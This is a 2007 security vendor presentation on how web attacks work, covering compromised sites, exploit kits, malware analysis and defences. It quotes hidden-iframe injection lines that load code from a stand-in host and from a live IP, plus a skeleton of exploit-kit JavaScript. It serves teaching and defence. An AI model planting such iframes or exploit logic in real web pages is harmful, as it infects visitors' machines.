How Web Attacks work

Dipl.-Ing. Ingo Rosenbaum, Teamleader Public Sector D/A/CH
Dezember 2007
Agenda

- Who is Sophos?
- Why web?
- Malicious sites
  - Compromised sites
  - Infected sites
  - Attack sites
- Analysis of web attacks
- Web security - solutions

Please do not attempt to visit any of the URLs included in this presentation. Many are known to be hosting malicious content, which will infect vulnerable machines upon browsing.
About Sophos

- Founded in 1985 & headquartered in the UK
- Privately held since inception
- Central European Headquarter Mainz – 80+ Employees
- 1000+ Employees
- Exports to over 150 countries worldwide
- Supports over 100 million users worldwide
- Growing faster than Symantec & McAfee, profitable
- Focus Education and R&D Security & Control
- 70% marketshare in German Universities and R&D institutions
SophosLabs™
24/7 protection from the experts

- 24 x 7 x 365
- Over 20 years experience
- Integrated spam, malware and web analysis
- Monitors ~8 billion new internet pages daily (with all their binary files)
- Analyzes millions of spam messages daily
- Constant innovation required to combat evolving threats
- Highly trained analysts (takes over 6 months)
- Full capabilities in all locations – including publication
Why Web?
**Flexibility**

- The Web provides the perfect vehicle for malware

  Ingredients for malicious attack:
  - Code creation (writing malicious code)
  - Code delivery
    - Huge target audience
    - Lure (entice, search engines) or download repository
  - Code execution
    - Browser exploits - no user action, ‘silent’
  - Code payload
    - Harvest data over HTTP
Global Repository

- Automation used for the continual refreshment of hosted malicious content

- No. updates per day
  - Static URI
  - Hash changing

- Implications?
  - Signature 😞
  - Generic 😊
Role of the Web in today’s threats

1. Trojan download
2. Browse compromised site
3. Lured to compromised site by email or web page
4. Infect victim

Compromised Site

Attack Site (Exploit Scripts)

File Repository (Win32 malware)
A real threat?

Web hosted malware by malware type (Q1, 2007)

URL count (log scale)

Malware Type

- Compromised site
- Malicious script
- Win32 malpack
- Adware
- Win32 downloader
- Win32 trojan
- Exploit script
- Porn dialer
- Win32 crimeware
- Browser plugin
- Win32 backdoor
- Win32 parasitic

- Number of URLs:
  - Compromised site: 82116
  - Malicious script: 15444
  - Win32 malpack: 8093
  - Adware: 5921
  - Win32 downloader: 2853
  - Win32 trojan: 1708
  - Exploit script: 1698
  - Porn dialer: 1535
  - Win32 crimeware: 1052
  - Browser plugin: 884
  - Win32 backdoor: 431
  - Win32 parasitic: 229
Malicious Sites
Compromised Sites

Why?
- Users build up list of trusted sites
- Code delivery – “complete silence”
  - compare to large Trojan SMTP seeding
- Potentially huge target audience

How?
- Many methods, including:
  - Insecure/unpatched web server
  - Insecure web applications
- “Drive-by download”
  - Browse
  - Silent loading of malicious code
  - Infected
Compromised with …?

- Typically insertion of some script or HTML tag in order that remote, malicious code is loaded

  `<iframe width=0 height=0 src="http://badsite.com/exploit.php"></iframe>`

- Exact same methods used legitimately in tens of thousands of sites (banner ads, child frames etc).
  - Challenge for (URL-independent) generic detection
ISP Hack

Compromise one server - affect many sites

Eg. Italian ISP – June 5th 2007 (see SophosLabs blog)
Compromised Web Applications

- Dec 2006 JS/Ofigel – MySpace worm
  - XSS hole
  - Profile changed
  - Quicktime™ movie loads malicious JS

- Mar 2007
  - JS/SpaceStalk
  - French Rock band
  - Steals cookie data
  - Quicktime™ movie
Infected Sites

- infected **web servers** strictly speaking
- Approximately 50% of world’s web servers run IIS/Windows
- Parasitic viruses
  - Infect HTML, ASP (etc) files
- With?
  - `<iframe src="..."`  
  - China?
Attack Sites

- What do we mean by attack site?
  - Site hosting malicious scripts (exploits) to infect victims.
  - *Landing page*
    - the location that compromised sites load content from.
Attack Sites

- Creation?
- Bundle of exploits
- Redundancy in numbers!
- Kits: $100-300
- MPack, IcePack
- Management “console”
- Auto-update
- Copy/Paste friendly!

```javascript
function start() {
    if (!MDAC) { startOverflow(0); }
    // attempt MS06-018 - if unsuccessful cycle through other exploits
}

function startOverflow(num) {
    if (num == 0) {
        try {
            var qt = new ActiveXObject('QuickTime.QuickTime');
            // QuickTime B/0
            catch(e) { }
        } else if (num == 1) {
            try {
                var winzip = document.createElement('object');
                // WinZIP B/0
                catch(e) { }
            } else if (num == 2) {
                try {
                    var budda_bia = new ActiveXObject('Sb.SuperBuddy.1');
                    // SuperBuddy ActiveX B/0 (CVE-2006-5520)
                    catch(e) { }
                } else if (num == 3) {
                    try {
                        var tar = new ActiveXObject('WebViewFolderIcon.WebViewFolderIcon.1');
                        // MS06-057
                        catch(e) { }
                    } else if (num == 4) {
                        startVML();
                        // MS06-055
                    } else if (num == 5) {
                        try {
                            var rned = document.createElement('object');
                            // CVE-2007-0018
                            catch(e) { }
                        }
                    }
                }
            }
        }
    }
}
```
Exploits

- Target:
  - browser vulnerabilities
  - ActiveX components (Yahoo webcam)

- Typically:
  - JavaScript to place shellcode in memory (heap)
  - Buffer overflow vulnerability
  - Shellcode runs delivering
  - a download/execute payload
More subtle attack sites

- Attack sites are not only targets for compromised pages
- Some set up as traps, awaiting victims
- Eg. Search engines
  - Users have implicit trust in results
  - Assumption that provider actively filters malicious entries
    - Malware & Hijacking
  - Reality shows this to be unsafe assumption…
‘Honeypot’ attack site

---

Running in bookmarklet mode...

```
<iframe src="http://81.29.241.234/user1/neon0112/index.php" width=1 height=1></iframe>
```
Spot the malicious site!
Analysis of Web Attacks
Troj/Stex

Troj/Stex-A - Spyware Trojan - Sophos threat analysis - Microsoft Internet Explorer

In this section

Threat analysis
HIPS runtime behavior
SophosLabs
SophosLabs blog
Spyware and adware
Top 10 malware
Hosts
Technical papers
Email publication
Best practice
White papers
Web seminars
Protocols
Hot topics

Troj/Stex-A
Spyware Trojan

Summary Description Recovery Advanced

This section is for technical experts who want to know more.

Troj/Stex-A is a Trojan for the Windows platform.

When run, Troj/Stex-A copies itself into the system folder as explorer.exe. The following Registry entry is added to hook system startup:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

\%Windows\system folder\Explorer.exe

Once running, Troj/Stex-A stealths its presence. The explorer.exe process, Registry startup hook and explorer.exe files on disk are all stealthed.

Troj/Stex-A contains functionality to connect to a remote server via HTTP and download other files.

Get reports on the latest virus threats delivered to your computer.
Troj/Stex

- Infection mechanism:
Automated analysis

- Problems:
  - Obfuscation
  - Identification of exploits
  - Harvest all components involved in an attack

- “What does Mal/ObfJS-XXX do?”
  - Can be hard to answer

- Automation system has one key requirements:
  - Data
    - The web is a big place!
Site Classification

- Distinguish compromised and attack sites?
- With sufficient data, fairly easy
  - Watch attack evolve over 5 days
  - Automation decrypts/extracts/builds links between pages
  - Straightforward to distinguish compromised and attack sites
Not so simple...

- Attack site: x-road.co.kr/rich/out.php
  - No!
Legitimate site

- Compromised
  - Not just a redirect, but hosting the attack site itself
  - "/rich/" directory hosts the malicious scripts
Multiply compromised

- Backdoor Trojans
  - Compromised machines often have >1 backdoors installed
  - Good sense from the hacker standpoint

- Compromised web sites
  - Frequently multiply compromised
  - Added at same time or in different attacks?
  - Both most likely

- As data comes in, should still be fairly straightforward to notice and build picture of attack
Multiply compromised

- See site involved in two attacks:
One shot wonder

- A significant proportion of attack sites deliver payload just once
  - Redirect, empty message or '[: on subsequent request
  - Particularly kit-created scripts (MPack, IcePack)
Analysis case study

- October 11th, 2007
  - New malicious page found
  - UK schools site
  - Malicious script writes 1 iframe pointing to a remote RBN site
  - Purpose?
    Recurse further into the attack…
Analysis case study

- Many other sites involved - Not a targeted attack
- Deeper down see malicious payload
- Various exploits - attempt to install trojan Mal/Behav-066
Web Security - Solutions
Ramifications

- Trust Web content by URL alone?
  - Becoming less satisfactory
- Requirement to enforce stricter policies
  - Browser configuration, browser choice, OS, network…
  - Machines/networks for differing levels of risk
    - (BBC ≠ MySpace)
- Innovative product technologies
  - Generic detection
  - Runtime protection (HIPs, BOPs)
URL Filtering

- Rapid mechanism to thwart threats
- URL classification enables policy deployment

- But, largely a reactive process

Enhanced by

- utilising reputation methods
  - As in spam
- Efficient data gathering & closed-loop automation
  - Avoid latency in 3rd party purchased lists
  - Data sources – spiders, partners

- URL may remain static as content is refreshed
  - Detection may be lost, URL block will remain effective
Malware Detection

+ Sophisticated scanning technologies are effective
+ Runtime protection technologies are effective
- Reliant on scanning for malicious code

Enhanced by:
  - Greater aggression at the web gateway
    - ‘File type’ control via policies?
  - Provide ability to block based on risk assessment
    - Quicktime™ movie “feature”
      - Some high profile cases, several “sub-radar” phishing attacks
    - Obfuscation methods

- Detection may remain when URL is changing frequently
Web servers

- Patch
  - OS
  - Web server application (IIS, Apache2)
  - Libraries/applications (PHP, MySQL, forums etc)

- Protect
  - On-access scanner

- Policy for purpose
  - Terminate unnecessary services/applications

- Choice of ISP/hosting provider
  - Good security policies in place?
Summary
Summary

- Web – perfect vehicle for delivery of malicious code
- Complex infection mechanisms
  - Multiple components, domains, exploits
- Compromised sites
  - Effective for malware delivery & currently in-vogue
- Solutions
  - Gateway & Endpoint technologies
  - Detection & URL filtering complement each other well
  - Policy is critical component of Web security
Questions

SophosLabs Blog

Want to know what Sophos experts think about the latest security issues? Daily updates from SophosLabs™ provide insight into the most interesting and widespread threats.

- SophosLabs blog: http://www.sophos.com/security/blog/